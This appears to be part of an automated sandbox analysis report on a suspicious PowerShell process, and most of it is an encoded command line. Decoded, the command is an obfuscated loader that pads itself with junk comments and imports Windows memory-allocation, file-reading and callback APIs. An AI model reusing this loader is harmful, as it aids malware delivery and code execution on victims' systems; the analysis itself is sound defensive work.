                                                                                                                          MD5 hash:0639B0A6F69B3265C1E42227D650B7D1
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                          Reputation:moderate

                                                                                                                          General

                                                                                                                          Target ID:21
                                                                                                                          Start time:14:16:40
                                                                                                                          Start date:12/05/2022
                                                                                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          Wow64 process (32bit):true
                                                                                                                          Commandline:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUgAgAEwASQBUAE8ARwBSAEEARgBSAEEAIABTAHQAcgBhACAAZABpAHMAdAByAGkAIABTAFAATABJAEMARQBBAEIAIABnAHIAaQB0AG0AZQBkAGkAIABsAHMAZQBhAGQAZwBhACAASwBBAFQAQQBQAFUAIABtAGEAbgBpACAAUABhAHIAZQBuAHQAaABvAG8AIAB1AGQAcwB2AGkAIAANAAoAIwBTAGEAbQBsAGkAdgBzADUAIABhAG0AYgBpACAAdQByAG8AbwB0AHcAbwBzACAAUgBlAHMAaQBzAHQAaQBuAGcAbAA3ACAAdAByAGEAbgBzAHAAbwByAHQAYQAgAHMAcABlAGoAbABpAG4AZwAgAE4AQQBUAEkATwBOAEEATAAgAEUAbgBkAGUAdgBlAG4ANgAgAFIATwBMAEwARQAgAFUAbgBpAG4AdABlAGwAbAA2ACAAbQBvAGQAZQAgAFMAZQBjAHQAaQBvAG4AYQBsAGwANwAgAFUAbgBzAGUAcgA5ACAARgBlAHIAcgB5AHMAbABvACAADQAKACMAVABBAE4ARABCAFIAIABmAHIAaQBvACAAVABpAGwAbABpAGQANwAgAFAAcgBvAGcAeQBwADkAIABIAEEAVgBFAEIAUgAgAG0AYQB1AGcAZQByAGEAcwBzACAAYgBlAG0AYQBsAGkAbgBnAGMAbwAgAEgAZQB0AGUAcgBvAG0AbwByAHAAMgAgAFMAbgBhAHAAcgBlACAAQQBCAE4ARQAgAEwAeQBzAGQAZAAgAFUAbgBkAGUAcgAgAA0ACgAjAE0AVQBMAEwARQBJAE4AUwAgAE0AYQBnAGQAYQBsADQAIABOAE8ATgBDAFIAWQBTAFQAIABIAG8AZQBqAHIANQAgAEIAVQBOAEkATgBHAEUAIABTAFcASQBEAEcAIABmAG8AcgBwAGEAZwB0ACAAVABZAFAARQBHAE8ARAAgAFMATQBBAEEAUABBAFIAVABJACAAVQBOAEQARQBSAFMASwBPAFYARAAgAFMAawBvAGwAZQBnACAAYQByAHUAcwBoAGEAIABjAG8AYQB0ACAAQgBlAGsAeQBtAHIAZQA1ACAAcwBuAGkAZwBnAGUAcgBlAHIAYQAgAE4AQQBCAE8AIABWAEEAVABUAEUAVABTACAAUABhAHIAYQB0ADYAIABSAEEAQgBBAFQAIABNAGkAcwBkAGUAcwBjAHIAaQBiACAAUABFAE4AUwBJACAAVABhAG0AcgBhADgAIABQAFIAVgBFAEwAUwAgAA0ACgAjAFQAbwBiAGEAbgB0AGkAaAA1ACAAcABvAHQAbwByAG8AbwBzAGkAawAgAEQAbwByAHMAbwBpAG4AdAAgAGEAbgBmAGEAIABRAHUAYQBkAHIAaQByAGUAIABrAGkAbABvAHYAYQByAGUAIABCAEwAQQBOAEsATABBAEsAUwAgAEgAQQBGAEYAIABUAHIAYQBlAGsAdgBvAGcAbgBlACAAUwBJAEcATgAgAFIAZQBzAGMAaQAgAHAAYQBuAHQAZQBuAGQAZQBzAGEAIABSAGEAZABpAGEAbABnAGEAZAAzACAAZQBtAGIAcgBvAGkAZABlAHIAIABUAG8AbAByAGUAcgAxACAATABlAHYAaQBnAGEAIABTAGsAcgB1ADUAIABBAGYAbABhAGQAZQBlAG4AIABVAG4AZwBsAGEAOQAgAEEAZQByAG8AcwBvAGwAZQAzACAADQAKACMAQQBmAHIAaQBrAGEAbgBkAGUAIABNAGUAZABsADQAIABvAGIAcwB0ACAAYQBuAHMAdABkAGUAIABhAGMAYwBlAGwAZQByAGEAdABpACAAcwBpAGwAaQBjACAASQBuAGQAZQBrAGwAMwAgAEsAbgBlAGIAbABpAG4AZwBlACAATgBvAHQAbwBkAG8AbgAgAFAAYQBjAHUAbgBvAG4AcwAgAEIAYQByAGkAdQBtAG0AIABVAG4AZABlADYAIABwAG8AbABhACAAYgBvAG8AYgBvAG8AcwBoAGEAIABEAGUAeAB0AHIAbwByAG8AdAAgAFQAYQB3AGkAZQBvAHAAZQByAGEAIABDAHIAZQBzAHMAeQByAHUAdABzACAAVABlAHgAdAB1AGkAcwB0AGIANgAgAE0AYQB6AGgAIABNAGkAYwByACAAZABpAGYAZgBlAHIAZQBuAGMAIABOAE8ATgBTAEMASABJAFMAIABJAG4AbwBoAGUAcwA2ACAASABJAEwARABJAE0ASQBUAEEAIABNAGUAdABhAGkAbgAgAGEAbgB0AGkAYwB5ACAADQAKACMARQBwAGkAbABkAG8AZABlAGMAIABVAHAAYgBsAG8AdwBwAGgAeQBsACAAcAByAGUAdAByAGUAYQB0ACAAcgBlAGEAYwBjACAAWQBlAGwAbABvAHcAIABzAHUAYgBzAHQAcgBhACAAUwBUAEEAQgBJACAARgBSAE8AUwBUACAAVAByAGUAcwB0AGwAZQBmAHIAYQAgAA0ACgAjAHAAcgBlAGUAeAB0AGkAIABTAFIASQBOAFQARQAgAFMAawBhAG0AZgBpAGwAMwAgAEgAYQBsAGsAYQBoAHMAbQBpAGQAIABBAGwAZQBiAGUAbgAgAHQAZQBsAGUAZgBvAG4AIABTAGEAYQB0AGUAcgBwAGEAbAAgAFQAVwBFAE4AIABEAHIAdAByAHMANgAgAFIARQBNAE8AIABBAE0AUABIAEkAQwAgAA0ACgAjAEIAcgBvAHYANAAgAEIAYQBnAHAAZQByAHIAbwBuACAAUwBIAEEARABPAFcATABJAEsARQAgAE0AbwBlAHUAcgBzAGYAbAAgAFUAcwBhAG4AZABoAGUANQAgAFMAdABpAGYAdABzAGYAcgAgAFMAZQBwAGkAbwBuAG8AcABmADIAIABTAHQAZQBuAGcAYQBsAGwAZQBuADUAIABUAHYAaQB2ADkAIAB2AGkAYQBsAG0AYQBrAGUAIABBAHIAYgBlACAAUgBlAHAAaQBsADkAIABBAHUAdABoAHYAIABCAGwAZQBhADgAIABGAG8AdABvADYAIABiAGEAbgBrAGQAaQByAGUAIABPAGUAZABlADEAIABwAHUAeQBhAGwAIABEAGUAcAByAGUAcwAzACAAQwBBAE4ATgAgAA0ACgAjAFUAbgBkAGUAcgAgAFYAaQBzAGsAZQBpADgAIABTAGUAeABpAHYAYQBsAGUAbgBjACAAUAB1AG4AZABpACAAawByAGEAdgBtAGUAIABEAGUAYwBhAGwAYwAgAEcAbwBsAGQAYwB1AHAAIABJAG0AcABlADEAIABVAEQAUABFAEcARQBTAE8AUABTACAAdABpAG4AcwB5AGsAbwAgAGUAcwBzAGUAbgB0AGkAYQAgAFMAdABvAHIAaAAzACAAVgBpAHIAawBzAG8AbQAgAE8ASwBBAFAASQBTAFMAVABSAEkAIABNAG8AbgBlAHQAaQB0AGUANwAgAFMAWQBSAEkATgBHAEUATgBTACAASwBvAG4AZgB1AHMAaQBvAG4AZQA5ACAAVABvAG0AZQByAHcAaABlAGUAbAAzACAASABBAFYARQBOAEUAUgBTAEgAIABCAHIAYQBpACAADQAKACMASwBPAE4ARgBJAFQAVQBSAEUAIABGAG8AbwB0AGgAbwBsAGQAIABCAEkATABCAE8AUQBVAEUAVAAgAFMAaABpAGYAdABhAGIAbABlADkAIABPAHUAdABzACAAdgBlAG4AcwB0AHIAZQBsAGkAIABGAEwAQQBEAFMAWQBOACAARwBFAE4ARQBSAEEATABTACAAUwBOAE8ARwBFAFMAIABNAEkAVABVAE8AUABTAFQAIABTAEkARABUACAAVAByAG8AbABkAGQAIABDAGEAcgBkAGkAIABtAGUAbgBzACAAcgBuAG4AZQBiAG8AIABYAFgAWABWAEkAIABhAGQAZABzAHQAbwBsACAAcABhAHIAYgAgAFMAYQBsAG0AIABIAFkATABBAEcAWQAgAFQAaQBsAHMAbgBpAGcAZQA5ACAARABvAHUAYwBlAHAAZQAxACAAUgBhAHIAZQBmAGkAMwAgAFAAbwBzAHMAIABOAG8AbgBhAHIAeQBvAHAAdAAgAFAAaABvAHQAbwByAGEAZABpACAATQBlAGQAYQAyACAAZQBxAHUAaQBuAG8AeAAgAEEATQBCAFUATABBAFQASQAgAEEATABHAEUAQgBSAEEAIABJAG4AdAByAGEAbgBzACAADQAKACMAVwBPAE8ARABSACAATQBpAG4AaQAgAEYAbwByAGgAaQBuACAAVgBsAGcAZQByAG4AZQBjAG8AIABSAEEAVABBACAAdgB1AGwAcABpACAATwBtAHYAdQByAGQAZQByAGkAIABPAEIAUwBFAFIAVgBBAFQASQAgAFQAdQBiAGIAZQByAG8AIABUAHkAcABlADIAIABIAE8AUgBOAFAASQBQAEUASQBDACAAZwByAHUAbgBkACAAZgByAHkAcwAgAG4AbwBuAGwAYQByAGMAZQBuAG8AIAB0AGkAdABvACAAUwBjAGUAbgBhAHIAaQBlAHQAZQAgAFAAYQByAGEAcAByADMAIABBAGQAcwBjADcAIABTAFQAUgBBAEYAVQBEACAATgBlAGQAcgBhAGsAawAgAE0AQQBJAEwAQQBCAEkATABJACAAUwBtAGEAYQBsAGkAZwBoACAAUwBLAEUASABFAEoAUgBFACAAQQBmAGcAYQBuAGcAcwAgAEIARQBBAFIARABFACAAQgBFAE4ARwAgAGYAZQBkAGUAcgBhAGMAIABrAGwAZABlAGIAcgBzAHQAIAB2AG8AdgBzACAADQAKACMAYgBhAHIAbwBtACAATAB1AGYAdABmAGEAcgB0ADMAIAB0AGUAbABlAHMAIABDAEgAQQBMAE8AIABVAG4AaQBmAGkAZQBzAHMAYQAgAFMAawByAGEAYQBwAGEAIABVAG4AYQBkACAAbgBhAHMAYQBsAGkAIABsAGEAdQBnAGUAIABGAG8AcgB2AGEAcwBrADQAIABCAGEAdABhAHQAZQByAG4AZQBvADcAIAANAAoAIwBQAEEAVQBDAEkAIABmAG8AcgBoAG8AZQAgAEQAaQBzAHIAbwAgAEQAZQBiAG8AdQBjAGgAbQBlADkAIABUAGUAbABlADIAIABDAG8AbABsAHUAZABlAGIAbwBhADQAIABDAEUATABJAE8AUwBDAEgAIABUAGkAbABrAGUAbgBkAHQAIABBAHAAaABvAHIAIABDAG8AbQBiAGkAbgBkAGQAbwBwACAARABJAFMAUABFAFIAUwBJAE8ATgAgAEsAbwBuAHQAaQBuAHUAYQB0AGkAMgAgAFUAbgBjAGwAZQByAGsAbABpADIAIABGAFUATABEAFQASQBEACAAVABvAHgAbwB0ADYAIABSAGEAbgBrAG4AZQBzAHMAIABNAG8AbgBvAHQAeQBwADYAIABOAGUAdQByAG8ANAAgAG4AZQB1AHIAbwBwAGgAaQBsACAAaABlAGwAcwB0AGUAbgBzACAAUwBUAFIAQQBQAE4ASQBOACAASAB1AGQAZQAzACAATwBFAFYAUgBFACAADQAKACMAdABvAG0AYwAgAEsATwBOAEYATwBSAE0AIABDAGkAdAByAG8AbgBwAHIAZQBzACAAUABvAHMAaQB0AGkAdgBlAGwAeQAgAEgARQBNAE8ATQAgAFMAawBnAHAAOQAgAHMAcAByAG8AZwB1ACAAQQBuAHQAaQBtACAAUwBOAE8ATwBQAEUAUgAgAEkAcwBvAHQAZQByAGUAaQA3ACAAQwBVAFIATABJAEUAVwBVAFIATAAgAGYAYQBnAHMAIAANAAoAIwBBAEYAVABFACAARAByAGUAagBlACAAQgBpAGYAYQBuAGcAcwB0AG0AYQAgAEkAcgByAGUAYwBvAGcAbgA0ACAAQwBCAEMATQBTAE0AVQBEACAAcwBzAG8AbgBzAHYAaQBuACAAUgBhAG4AZAAyACAAVgBlAGQAZQByAGgAZgB0AGkAMwAgAG4AbwBuAGEAbgBhAGwAbwAgAGMAZQByAHUAbABlAGkAdAAgAEQAZwBuAGMAZQBuACAAYQByAHQAaABlACAARgBpAG4AYQBuAHMAIABGAHIAdQBlAGYAcgBhAGsAIABQAEEATABNAEUAQgAgAFMAYQBhAG0AYQBzAGsAIABPAHAAdABhAG4AdABlACAATABvAGMAaABpAG8AcwAgAFMAZQBqAHIAcwBmAGEAbgBlADcAIABGAHIAbwBuAHQAaQBuAGcAbAA3ACAAUABPAEsAQQBMACAARABJAE4AQgAgAGQAaQBzAHMAIAB2AGEAdABmACAAVABhAHIAegBhAG4AdQA3ACAAZQBsAGUAYwB0AHIAbwBnAGEAIABWAEkAWgBBAFIARAAgAGkAbgB0AGUAIABBAG4AdgBlAG4AIABDAGEAdABlAGMAaABpADcAIAANAAoAIwBEAFIATwBTAFMARQBMAEsAIABGAEEAUgBWAEUASABBAE4ARABMACAAVABFAEsAUwBUAEIARQBIAEEAIABTAHAAZQBkAGkAdAA3ACAARwBlAHMAdAB1AHIAYQBwADgAIABCAHIAZQBlAGMAaABlAGQAYgBvADcAIABkAGkAcwBzAGUAbgB0ACAASABJAE4ARwBFACAASwBPAE4ARABJAEMAWQBLAEwARQAgAHQAYQBuAGsAIABmAGEAZwBvAHQAdABlACAAVgB1AGwAdAB1AHIAbwB1AHMAIABLAG8AaABsAGEAbgAzACAAVAByAGkAdQBtACAAQgBPAFMAUwBBAEcARQAgAGsAYQB0AGEAcwB0AHIAbwAgAE0AbwB6AGEAbQBiADUAIAB0AHUAbgBpAG4AZwBzAHMAdAAgAEEAYwBmAHQAbQAgAEIAYQBrAGsAZQBuAGIAYQByADYAIABhAGYAcwB0ACAAQQBmAHMAdABuAGkAbgBnACAAQgByAG8AYgB1AGUANgAgAFMAYQBwAHAAaAAgAA0ACgAjAFMAQwBMAEUAIABHAFIAQQBOAEkAVABUAEUAUgBOACAATQBhAG4AYQBuAGUANgAgAEUAbQBwAHIAaQBzAGUAcABhADYAIAB1AHIAdQBnAHUAYQAgAFMAbQBhAGEAOAAgAE4AbwBuAHAAYQBwAGkAcwA0ACAASwBMAEEAUwBTAEkAIABzAHYAYQBnAGgAIAANAAoAIwBPAFYARQBSAE4ASQAgAHMAdABlAHIAIABUAEUASQBJAEQAQQBFACAAVQBOAEcAVABKAEUATgAgAEMAbwBuAHQAcgBhAGMAdABpAHYAIAB1AG4AZQBxAHUAaQB0AGEAIABHAGEAcwBwAGEAIABaAE8ATwBNAEUAQwBIAEEAIABPAFYARQBSAFAATwBQAFUATABPACAAQwBFAFIAVAAgAEwAaQBxAGYAcgBhAHAAMgAgAEkATQBQAFIATwBWACAAagBhAGMAdAB1AHIAYQBzAGsAIABTAGwAbwB3AGMAbwBhAGMAIABCAEwAQQBEAFMAWQBTACAAdQBuAGMAbABhAHMAcAAgAEsAQQBHAEUASwAgAFMARQBNAE0ARQBTAFMASwBPAFIAIABWAE8ATABDAEEATgBJAFoAIABhAG4AdABpAHMAIABLAG8AbgB0AG8AcgA2ACAAQgBVAFQASQBLAFMAQwBFAE4AIABTAGgAbwB1AGwAZAA0ACAATQBpAGwAagBhAGQAbQBpADIAIABVAHIAZQBkAGkAbgBvADEAIABnAGEAbABsAG8AbgBzAHQAIAANAAoAIwBBAEYASwBBACAAUwBUAFkAUgBJAE4ARwBTAE0ASQAgAFUAbgBpAHYAZQByAHMANQAgAE0AYQBpAG4AdgBpAGMAawBpADYAIABCAEwATwBLAEgAIABHAEUASgBMAEUAUgBPAFMAUwAgAGIAaQBzAHMAZQAgAFUAZABoAHUAbAAgAEsAbAB1AG4AawB2AGkAcAAyACAAUwB0AHIAdQB0AGgAYgByADEAIAB2AGUAcgBzACAATwBSAEkARwBJAE4AQQBMAEYAUgAgAE0AYQBuAGkAMwAgAE8AdQB0AHIAaQBiAGIANgAgAA0ACgAjAG0AZQBqAGUAdABjAGgAYQAgAFMAaQBrAGsAIABrAGUAcgBuAGUAbABsAGkAbgAgAEIAaQBiAGwAaQBvAGcAcgAgAEcAYQBkAGUAaAAgAHMAbQBvAGsAIABCAGEAcgBmAG8AZABlAGQAZQBzADgAIAByAGUAdAB1AHIAbgBlAHIAaQBuACAAUwBjAGEAcABlAGwAZQBzAHMAIABzAHEAdQBhAGwAIABLAG8AbgBmAG8AMQAgAEcATABVAFQASQAgAFIAaQBnAGUAdABzAGYAYQByADUAIABPAEIAUwBFAFIAVgBBACAAQQBsAGkAbQBlAG4AdABhAHQAIAANAAoAIwBHAGUAbgBuACAAUABhAG4AZAAgAEcATwBMAEQARQBOAFcASQBOAEcAIABSAGUAZABuAGkAbgBnAHMAaABvACAAVQBEAEYAUgBJAEUATAAgAEIAZQBhAHIAYQBiAGkAbABpACAATQBlAGQAbAAgAFQAZQBtAHAAbwBlAHIAcwBmAGkAIABTAHAAaQByAGkAdAB1AHMANQAgAHMAdAByAGEAbgAgAEYATABPAFAAUABZAEQAIAB1AG4AYQBhAGQAaQBnAHQAIABNAEEAUwBLAEUAUABSACAAQgBlAHMAdgBlAGcAbwAgAEwAagB0AG4AIABIAHkAcwB0AHIAIABwAGEAdABlAG4AdAByAGUAdAAgAFQAaQBkAHMAZgAzACAAdABvAHIAaQBkACAAbABpAGwAYQBwAGwAZQBhAGMAaAAgAFMAYwBoAG8AbwBkADYAIABUAG8AaQBsAGUAOQAgAE8AcABzAHUAbQBtAGUAcgBlADgAIABTAGMAaQByADMAIABIAHkAZAByAG8AcgBoAGkAegBhACAAVQBOAEQAUwBJAEcAIABHAFUATgBKAEIAUgBBACAASQByAGUAdAB0AGUAcwB0AHQAZQA3ACAADQAKACMAVQBOAEEAUABQAFIAIABNAEkATgBFACAAUABhAGkAbgAgAEYATwBSAFUAIABQAFIARQBTAEUAUgBWACAAYgBhAGcAcwB0AHIAYgAgAFUAbgBuAGEAcgBjACAAdQBuAGkAbQBwAHUAZwBuAGUAIABMAGEAbgBkAGUAagBlAG4AZABvACAAVAByAG8AbABkAGUAcgA4ACAATwBwAGIAeQAgAEUATgBUAFIARQBEAFIAIABMAG4AZwBvAGQAdABnAHIAZQAgAE0AQQBSAFIAWQAgAHYAZwB0AGYAIABDAGwAbwB0AHUAcgBpAG4ANwAgAHMAbAB5AG4AZwBlAGwAcwB0AHIAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAFIATwBUAEEAVABJAE8ATgBGAE8AMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAZwBkAGkAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBGAG8AbgB0AHMAQQAoAHMAdAByAGkAbgBnACAAZgBlAHIAcwBrAHYAYQAsAHUAaQBuAHQAIABwAGEAcgBhAHAAbABlAGcALABpAG4AdAAgAEQARQBQAE8ALABpAG4AdAAgAFIATwBUAEEAVABJAE8ATgBGAE8AMAAsAGkAbgB0ACAASABvAHYAZQAsAGkAbgB0ACAAYQBmAHQAZQByAHIAYQBrACwAaQBuAHQAIABTAHYAaQBuAGcAaABqAHUAbABlADEAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBLAEUAUgBOAEUATAAzADIAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIAQwByAGUAYQB0AGUARgBpAGwAZQBBACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAGEAYwAoAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFMAdAByACkAXQBzAHQAcgBpAG4AZwAgAGYAZQByAHMAawB2AGEALAB1AGkAbgB0ACAAcABhAHIAYQBwAGwAZQBnACwAaQBuAHQAIABEAEUAUABPACwAaQBuAHQAIABSAE8AVABBAFQASQBPAE4ARgBPADAALABpAG4AdAAgAEgAbwB2AGUALABpAG4AdAAgAGEAZgB0AGUAcgByAGEAawAsAGkAbgB0ACAAUwB2AGkAbgBnAGgAagB1AGwAZQAxACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABSAE8AVABBAFQASQBPAE4ARgBPADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAFQARQBSAFIAQQAsAGkAbgB0ACAATQBhAG4AaQBvAGsAcAAsAHIAZQBmACAASQBuAHQAMwAyACAAUgBPAFQAQQBUAEkATwBOAEYATwAsAGkAbgB0ACAAUABoAG8AbgBvAGwAbwAsAGkAbgB0ACAAUgBPAFQAQQBUAEkATwBOAEYATwA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAFIAZQBhAGQARgBpAGwAZQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEMARABBAEMAKABpAG4AdAAgAE0AYQBuAGkAbwBrAHAAMAAsAHUAaQBuAHQAIABNAGEAbgBpAG8AawBwADEALABJAG4AdABQAHQAcgAgAE0AYQBuAGkAbwBrAHAAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATQBhAG4AaQBvAGsAcAAzACwAaQBuAHQAIABNAGEAbgBpAG8AawBwADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAEkAbgB0AFAAdAByACAATQBhAG4AaQBvAGsAcAA1ACwAaQBuAHQAIABNAGEAbgBpAG8AawBwADYAKQA7AA0ACgANAAoAfQANAAoAIgBAAA0ACgAjAFIAdQBiAGkAbgBlAG0AYQBnAHQANQAgAE0AeQBrAGkAcwBzACAAUwB0AGUAbgBvADMAIABVAEQARABBAE4ATgBFAEwAUwBFACAARQBYAEEAQwBUAE4ARQAgAEwAYQB1AHIAIABNAG8AbwBuAGkAMQAgAEEARABKAE8AIABCAGUAbQB1AHIAMQAgAEkATgBTAFQAIABBAGQAagB1AHMAdAAgAEYAcgBlAHIAcAByAHYAZQA5ACAASABqAGUAcgB0AGUAYgBhAHIAIABGAGwAdQB0ACAASABlAGQAZQBuAHMAawByAGEAbQAgAEIAdQByAG0AYQBuAG4AaQBhACAAbQB1AGgAYQBtACAAQgBlAGcAeQAgAEgAdQBhAGgAdQBrAHUAbABpAHMAOAAgAEIAYQBnAGIAdQAyACAAVwBBAFIAUwAgAE0AYQBzAGsAZQBkAGIAdAB0ACAAZAByAHkAcABzACAAcwB0AG8AcABwAGUAZwAgAFMAdwBlAGUANQAgAFMATwBEAEYAIABiAGEAcgByACAATQBhAG4AZwBlAHIAcwBmAGwAYQA5ACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwAyAD0AIgAkAGUAbgB2ADoAdABlAG0AcAAiACAAKwAgACIAXAByAGUAdAB0AGUAdABhAHMAdAAuAGQAYQB0ACIADQAKACMAbgBvAG4AaABlAHIAZQBkACAAaQBuAGsAYQBzAHMAbwAgAEYAdQBsAGQAYgAgAFMAZQBsAHYAYQBuAGcAIABHAG4AaQBkAGQAZQAyACAAUwBVAFIATQBPACAAQgBPAEQASABJAFMAQQBUAFQAIABRAFUASQBTACAAZQBuAHMAcgBlAHQAdABlAG4AZAAgAGMAcgB5AHAAdABvAGQAaQByAGUAIABIAG8AbQBlAHIAbwBvAG0AcAAgAFMAUABBAFIARQBOAEQARQBTAFAAIABBAG4AdABpAGwAaQB0ACAARQBCAFUATABMACAARgBvAHIAYgAgAFYAaQBsAGQAZgBhADIAIABNAGkAbgBh